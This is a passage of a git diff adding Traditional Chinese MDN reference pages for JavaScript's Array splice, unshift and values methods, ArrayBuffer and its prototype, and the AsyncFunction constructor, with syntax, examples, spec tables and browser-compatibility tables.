+<h2 id="See_also" name="See_also">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reverse()")}}</li>
+ <li>{{jsxref("String.prototype.localeCompare()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/splice/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/splice/index.html
new file mode 100644
index 0000000000..2cb76617b8
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/splice/index.html
@@ -0,0 +1,150 @@
+---
+title: Array.prototype.splice()
+slug: Web/JavaScript/Reference/Global_Objects/Array/splice
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/splice
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>splice()</strong></code> 方法可以藉由刪除既有元素並／或加入新元素來改變一個陣列的內容。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-splice.html")}}</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>array</var>.splice(<var>start[</var>, <var>deleteCount[</var>, <var>item1[</var>, <var>item2[</var>, <em>...]]]]</em>)
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>start</code></dt>
+ <dd>陣列中要開始改動的元素索引（起始為 0）。若索引大於陣列長度，則實際開始的索引值會被設為陣列長度。若索引為負，則會從陣列中最後一個元素開始往前改動（起始為 -1）且若其絕對值大於陣列的長度，則會被設為 0。</dd>
+ <dt><code>deleteCount</code> {{optional_inline}}</dt>
+ <dd>一個表示欲刪除的原陣列元素數量的整數。</dd>
+ <dd>若省略了 <code>deleteCount</code>，或假如其值大於 <code>array.length - start</code>（也就是 <code>deleteCount</code> 大於 <code>start</code> 算起的剩餘元素數量），則所有從 <code>start</code> 開始到陣列中最後一個元素都會被刪除。</dd>
+ <dd>若 <code>deleteCount</code> 為 0 或是負數，則不會有元素被刪除。 因此，你應該給定至少一個欲加入的新元素（見下方說明）。</dd>
+ <dt><code>item1, item2, <em>...</em></code> {{optional_inline}}</dt>
+ <dd>從 <code>start</code> 開始，要加入到陣列的元素。 如果你沒有指定任何元素，則 <code>splice()</code> 只會依照 <code>start</code> 和 <code>deleteCount</code> 刪除陣列的元素。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個包含被刪除的元素陣列。如果只有一個元素被刪除，依舊是回傳包含一個元素的陣列。 倘若沒有元素被刪除，則會回傳空陣列。</p>
+
+<h2 id="說明">說明</h2>
+
+<p>如果你插入的元素數量和刪除的數量不同，則回傳的陣列長度也會和原先的不同。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="從索引_2_的位置開始，刪除_0_個元素並插入「drum」">從索引 2 的位置開始，刪除 0 個元素並插入「drum」</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(2, 0, 'drum');
+
+// myFish 為 ["angel", "clown", "drum", "mandarin", "sturgeon"]
+// removed 為 [], 沒有元素被刪除
+</pre>
+
+<h3 id="從索引_3_的位置開始，刪除_1_個元素">從索引 3 的位置開始，刪除 1 個元素</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'drum', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(3, 1);
+
+// removed 為 ["mandarin"]
+// myFish 為 ["angel", "clown", "drum", "sturgeon"]
+</pre>
+
+<h3 id="從索引_2_的位置開始，刪除_1_個元素並插入「trumpet」">從索引 2 的位置開始，刪除 1 個元素並插入「trumpet」</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'drum', 'sturgeon'];
+var removed = myFish.splice(2, 1, 'trumpet');
+
+// myFish 為 ["angel", "clown", "trumpet", "sturgeon"]
+// removed 為 ["drum"]</pre>
+
+<h3 id="從索引_0_的位置開始，刪除_2_個元素並插入「parrot」、「anemone」和「blue」">從索引 0 的位置開始，刪除 2 個元素並插入「parrot」、「anemone」和「blue」</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'trumpet', 'sturgeon'];
+var removed = myFish.splice(0, 2, 'parrot', 'anemone', 'blue');
+
+// myFish 為 ["parrot", "anemone", "blue", "trumpet", "sturgeon"]
+// removed 為 ["angel", "clown"]</pre>
+
+<h3 id="從索引_2_的位置開始，刪除_2_個元素">從索引 2 的位置開始，刪除 2 個元素</h3>
+
+<pre class="brush: js">var myFish = ['parrot', 'anemone', 'blue', 'trumpet', 'sturgeon'];
+var removed = myFish.splice(myFish.length - 3, 2);
+
+// myFish 為 ["parrot", "anemone", "sturgeon"]
+// removed 為 ["blue", "trumpet"]</pre>
+
+<h3 id="從索引_-2_的位置開始，刪除_1_個元素">從索引 -2 的位置開始，刪除 1 個元素</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(-2, 1);
+
+// myFish 為 ["angel", "clown", "sturgeon"]
+// removed 為 ["mandarin"]</pre>
+
+<h3 id="從索引_2_的位置開始，刪除所有元素（含索引_2）">從索引 2 的位置開始，刪除所有元素（含索引 2）</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(2);
+
+// myFish 為 ["angel", "clown"]
+// removed 為 ["mandarin", "sturgeon"]</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">備註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.12', 'Array.prototype.splice')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.splice', 'Array.prototype.splice')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.splice', 'Array.prototype.splice')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.splice")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()", "push()")}} / {{jsxref("Array.prototype.pop()", "pop()")}} — add/remove elements from the end of the array</li>
+ <li>{{jsxref("Array.prototype.unshift()", "unshift()")}} / {{jsxref("Array.prototype.shift()", "shift()")}} — add/remove elements from the beginning of the array</li>
+ <li>{{jsxref("Array.prototype.concat()", "concat()")}} — returns a new array comprised of this array joined with other array(s) and/or value(s)</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/unshift/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/unshift/index.html
new file mode 100644
index 0000000000..7864ea6359
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/unshift/index.html
@@ -0,0 +1,101 @@
+---
+title: Array.prototype.unshift()
+slug: Web/JavaScript/Reference/Global_Objects/Array/unshift
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - unshift
+  - 陣列
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/unshift
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>unshift()</strong></code> 方法會添加一個或多個元素至陣列的開頭，並且回傳陣列的新長度。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-unshift.html")}}</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>arr</var>.unshift(<var>element1</var>[, ...[, <var>elementN</var>]])</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>欲添加至陣列開頭的元素。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>呼叫此方法之物件的新 {{jsxref("Array.length", "length")}} 屬性值。</p>
+
+<h2 id="描述">描述</h2>
+
+<p><code>unshift</code> 方法會將一或多個給定值插入至一個類陣列（array-like）物件的開頭。</p>
+
+<p><code>unshift</code> 被刻意設計為具通用性；此方法可以藉由 {{jsxref("Function.call", "called", "", 1)}} 或 {{jsxref("Function.apply", "applied", "", 1)}} 應用於類似陣列的物件上。若欲應用此方法的物件不包含代表一系列啟始為零之數字屬性序列長度的 <code>length</code> 屬性，可能是不具任何意義的行為。</p>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">var arr = [1, 2];
+
+arr.unshift(0); // 執行後的結果是3，其代表處理後的陣列長度
+// arr is [0, 1, 2]
+
+arr.unshift(-2, -1); // = 5
+// arr is [-2, -1, 0, 1, 2]
+
+arr.unshift([-3]);
+// arr is [[-3], -2, -1, 0, 1, 2]
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.13', 'Array.prototype.unshift')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.unshift', 'Array.prototype.unshift')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.unshift', 'Array.prototype.unshift')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.unshift")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/values/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/values/index.html
new file mode 100644
index 0000000000..6f464a3d29
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/values/index.html
@@ -0,0 +1,77 @@
+---
+title: Array.prototype.values()
+slug: Web/JavaScript/Reference/Global_Objects/Array/values
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/values
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>values()</code></strong> 方法會回傳一個包含陣列中的每一個索引之對應值（values）的新 <strong><code>Array Iterator</code></strong> 物件。</p>
+
+<pre class="brush: js">var a = ['w', 'y', 'k', 'o', 'p'];
+var iterator = a.values();
+
+console.log(iterator.next().value); // w
+console.log(iterator.next().value); // y
+console.log(iterator.next().value); // k
+console.log(iterator.next().value); // o
+console.log(iterator.next().value); // p</pre>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>arr</var>.values()</pre>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個新的 {{jsxref("Array")}} 迭代器（iterator）物件。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_for...of_迴圈進行迭代">使用 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code> 迴圈進行迭代</h3>
+
+<pre class="brush: js">var arr = ['w', 'y', 'k', 'o', 'p'];
+var iterator = arr.values();
+
+for (let letter of iterator) {
+  console.log(letter);
+}
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.values', 'Array.prototype.values')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.values', 'Array.prototype.values')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.values")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.keys()")}}</li>
+ <li>{{jsxref("Array.prototype.entries()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/arraybuffer/index.html b/files/zh-tw/web/javascript/reference/global_objects/arraybuffer/index.html
new file mode 100644
index 0000000000..1fa59e5f0f
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/arraybuffer/index.html
@@ -0,0 +1,225 @@
+---
+title: ArrayBuffer
+slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
+---
+<p>{{JSRef}}</p>
+
+<p><strong><code>ArrayBuffer</code></strong> 物件是一種表示通用、固定大小的原始二進制資料緩衝。想要直接操作一個 <code>ArrayBuffer</code> 物件的內容是不可能的。若要讀寫該緩衝的內容則必須透過視圖，可以選擇建立一個 {{jsxref("DataView")}} 視圖物件或是一個限定其成員為某種型別的 {{jsxref("TypedArray")}} 視圖物件，它們皆能以特定的型別解讀、修改 <code>ArrayBuffer</code>。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">new ArrayBuffer(length)
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>length</code></dt>
+ <dd>要建立的緩衝陣列大小，以位元組（byte）計算。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>為一個新建立的指定大小 <code>ArrayBuffer</code> 物件，其內容皆初始化為 0。</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>A {{jsxref("RangeError")}} is thrown if the <code>length</code> is larger than {{jsxref("Number.MAX_SAFE_INTEGER")}} (&gt;= 2 ** 53) or negative.</p>
+
+<h2 id="說明">說明</h2>
+
+<p>The <code>ArrayBuffer</code> constructor creates a new <code>ArrayBuffer</code> of the given length in bytes.</p>
+
+<h3 id="從既有的資料取得_ArrayBuffer">從既有的資料取得 ArrayBuffer</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer">From a Base64 string</a></li>
+ <li><a href="/zh-TW/docs/Web/API/FileReader#readAsArrayBuffer()">從本地端檔案</a></li>
+</ul>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt><code>ArrayBuffer.length</code></dt>
+ <dd>The <code>ArrayBuffer</code> constructor's length property whose value is 1.</dd>
+ <dt>{{jsxref("ArrayBuffer.@@species", "get ArrayBuffer[@@species]")}}</dt>
+ <dd>The constructor function that is used to create derived objects.</dd>
+ <dt>{{jsxref("ArrayBuffer.prototype")}}</dt>
+ <dd>Allows the addition of properties to all <code>ArrayBuffer</code> objects.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{jsxref("ArrayBuffer.isView", "ArrayBuffer.isView(arg)")}}</dt>
+ <dd>Returns <code>true</code> if <code>arg</code> is one of the ArrayBuffer views, such as <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">typed array objects</a> or a {{jsxref("DataView")}}. Returns <code>false</code> otherwise.</dd>
+ <dt>{{jsxref("ArrayBuffer.transfer", "ArrayBuffer.transfer(oldBuffer [, newByteLength])")}} {{experimental_inline}}</dt>
+ <dd>
+ <div class="line" id="file-arraybuffer-transfer-LC6">Returns a new <code>ArrayBuffer</code> whose contents are taken from the <code>oldBuffer</code>'s data and then is either truncated or zero-extended by <code>newByteLength</code>.</div>
+ </dd>
+</dl>
+
+<h2 id="ArrayBuffer_實例"><code>ArrayBuffer</code> 實例</h2>
+
+<p>所有的 <code>ArrayBuffer</code> 物件實例皆繼承自 {{jsxref("ArrayBuffer.prototype")}}.</p>
+
+<h3 id="屬性_2">屬性</h3>
+
+<p>{{page('zh-TW/Web/JavaScript/JavaScript_typed_arrays/ArrayBuffer/prototype','屬性')}}</p>
+
+<h3 id="方法_2">方法</h3>
+
+<p>{{page('/zh-TW/docs/Web/JavaScript/JavaScript_typed_arrays/ArrayBuffer/prototype','方法')}}</p>
+
+<dl>
+ <dt>{{jsxref("ArrayBuffer.slice()")}} {{non-standard_inline}}</dt>
+ <dd>Has the same functionality as {{jsxref("ArrayBuffer.prototype.slice()")}}.</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<p>In this example, we create a 8-byte buffer with a {{jsxref("Global_Objects/Int32Array", "Int32Array")}} view referring to the buffer:</p>
+
+<pre class="brush: js">var buffer = new ArrayBuffer(8);
+var view   = new Int32Array(buffer);</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Superseded by ECMAScript 6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition in an ECMA standard. Specified that <code>new</code> is required.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>7.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td><code>ArrayBuffer()</code> without <code>new</code> throws</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("44")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ArrayBuffer.slice()</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<br>
+    {{CompatNo}} {{CompatGeckoDesktop("53")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2")}}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>4.2</td>
+  </tr>
+  <tr>
+   <td><code>ArrayBuffer()</code> without <code>new</code> throws</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("44")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ArrayBuffer.slice()</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<br>
+    {{CompatNo}} {{CompatGeckoMobile("53")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="相容性備註">相容性備註</h2>
+
+<p>Starting with ECMAScript 2015, <code>ArrayBuffer</code> constructors require to be constructed with a {{jsxref("Operators/new", "new")}} operator. Calling an <code>ArrayBuffer</code> constructor as a function without <code>new</code>, will throw a {{jsxref("TypeError")}} from now on.</p>
+
+<pre class="brush: js example-bad">var dv = ArrayBuffer(10);
+// TypeError: calling a builtin ArrayBuffer constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new ArrayBuffer(10);</pre>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray")}}</li>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/arraybuffer/prototype/index.html b/files/zh-tw/web/javascript/reference/global_objects/arraybuffer/prototype/index.html
new file mode 100644
index 0000000000..8883a89cec
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/arraybuffer/prototype/index.html
@@ -0,0 +1,110 @@
+---
+title: ArrayBuffer.prototype
+slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
+---
+<div>{{JSRef}}</div>
+
+<p>The <strong><code>ArrayBuffer.prototype</code></strong> property represents the prototype for the {{jsxref("ArrayBuffer")}} object.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="描述">描述</h2>
+
+<p><code>ArrayBuffer</code> instances inherit from <code>ArrayBuffer.prototype</code>. As with all constructors, you can change the constructor's prototype object to make changes to all <code>ArrayBuffer</code> instances.</p>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>ArrayBuffer.prototype.constructor</dt>
+ <dd>Specifies the function that creates an object's prototype. The initial value is the standard built-in <code>ArrayBuffer</code> constructor.</dd>
+ <dt>{{jsxref("ArrayBuffer.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>陣列大小，以位元組（byte）計算。此屬性在陣列建立之後就不可能改變了。<strong>唯讀</strong>。</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{jsxref("ArrayBuffer.prototype.slice()")}}</dt>
+ <dd>Returns a new <code>ArrayBuffer</code> whose contents are a copy of this <code>ArrayBuffer</code>'s bytes from <code>begin</code>, inclusive, up to <code>end</code>, exclusive. If either <code>begin</code> or <code>end</code> is negative, it refers to an index from the end of the array, as opposed to from the beginning.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arraybuffer.prototype', 'ArrayBuffer.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arraybuffer.prototype', 'ArrayBuffer.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>7.0</td>
+   <td>{{ CompatGeckoDesktop("2")}}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2")}}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>4.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/asyncfunction/index.html b/files/zh-tw/web/javascript/reference/global_objects/asyncfunction/index.html
new file mode 100644
index 0000000000..c25f3ee3a1
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/asyncfunction/index.html
@@ -0,0 +1,118 @@
+---
+title: AsyncFunction
+slug: Web/JavaScript/Reference/Global_Objects/AsyncFunction
+translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Async</strong></code><strong><code>Function</code> 建構子</strong>建立一個新的 {{jsxref("Statements/async_function", "async function")}}  物件。在 JavaScript 中，每一個非同步函數實際上是一個 <code>AsyncFunction</code> 物件。</p>
+
+<p>注意 <code>AsyncFunction</code> 不是一個全域物件。 它可以以下程式碼獲得。</p>
+
+<pre class="brush: js">Object.getPrototypeOf(async function(){}).constructor
+</pre>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">new AsyncFunction([<var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]],] <var>functionBody</var>)</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>Names to be used by the function as formal argument names. Each must be a string that corresponds to a valid JavaScript identifier or a list of such strings separated with a comma; for example "<code>x</code>", "<code>theValue</code>", or "<code>a,b</code>".</dd>
+ <dt><code>functionBody</code></dt>
+ <dd>一個字串。描述該函數定義的陳述式(statements)。</dd>
+</dl>
+
+<h2 id="說明">說明</h2>
+
+<p>{{jsxref("Statements/async_function", "async function")}} objects created with the <code>AsyncFunction</code> constructor are parsed when the function is created. This is less efficient than declaring an async function with an {{jsxref("Statements/async_function", "async function expression")}} and calling it within your code, because such functions are parsed with the rest of the code.</p>
+
+<p>All arguments passed to the function are treated as the names of the identifiers of the parameters in the function to be created, in the order in which they are passed.</p>
+
+<div class="note">
+<p><strong>Note:</strong> {{jsxref("Statements/async_function", "async functions")}} created with the <code>AsyncFunction</code> constructor do not create closures to their creation contexts; they are always created in the global scope. When running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the <code>AsyncFunction</code> constructor was called. This is different from using {{jsxref("Global_Objects/eval", "eval")}} with code for an async function expression.</p>
+</div>
+
+<p>以函數的方式執行 <code>AsyncFunction</code> 建構式 (不使用 <code>new</code> 運算子) 和以建構子的方式執行是等效的。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt><code><strong>AsyncFunction.length</strong></code></dt>
+ <dd><code>AsyncFuction</code> 建構子的長度為 1。</dd>
+ <dt>{{jsxref("AsyncFunction.prototype")}}</dt>
+ <dd>可加入屬性至所有陣列物件。</dd>
+</dl>
+
+<h2 id="AsyncFunction_原型物件"><code>AsyncFunction</code> 原型物件</h2>
+
+<h3 id="屬性_2">屬性</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype', 'Properties')}}</div>
+
+<h2 id="AsyncFunction_實例"><code>AsyncFunction</code> 實例</h2>
+
+<p><code>AsyncFunction</code> 實例繼承 {{jsxref("AsyncFunction.prototype")}} 的屬性和方法. 和所有的建構子一樣，變更該建構子 (constructor) 的原型物件 (prototype object)將會影響所有的 <code>AsyncFunction</code> 實例。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="AsyncFunction_建構子建立一個非同步函數"> <code>AsyncFunction</code> 建構子建立一個非同步函數</h3>
+
+<pre class="brush: js">function resolveAfter2Seconds(x) {
+  return new Promise(resolve =&gt; {
+    setTimeout(() =&gt; {
+      resolve(x);
+    }, 2000);
+  });
+}
+
+var AsyncFunction = Object.getPrototypeOf(async function(){}).constructor
+
+var a = new AsyncFunction('a',
+                          'b',
+                          'return await resolveAfter2Seconds(a) + await resolveAfter2Seconds(b);');
+
+a(10, 20).then(v =&gt; {
+  console.log(v); // prints 30 after 4 seconds
+});
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
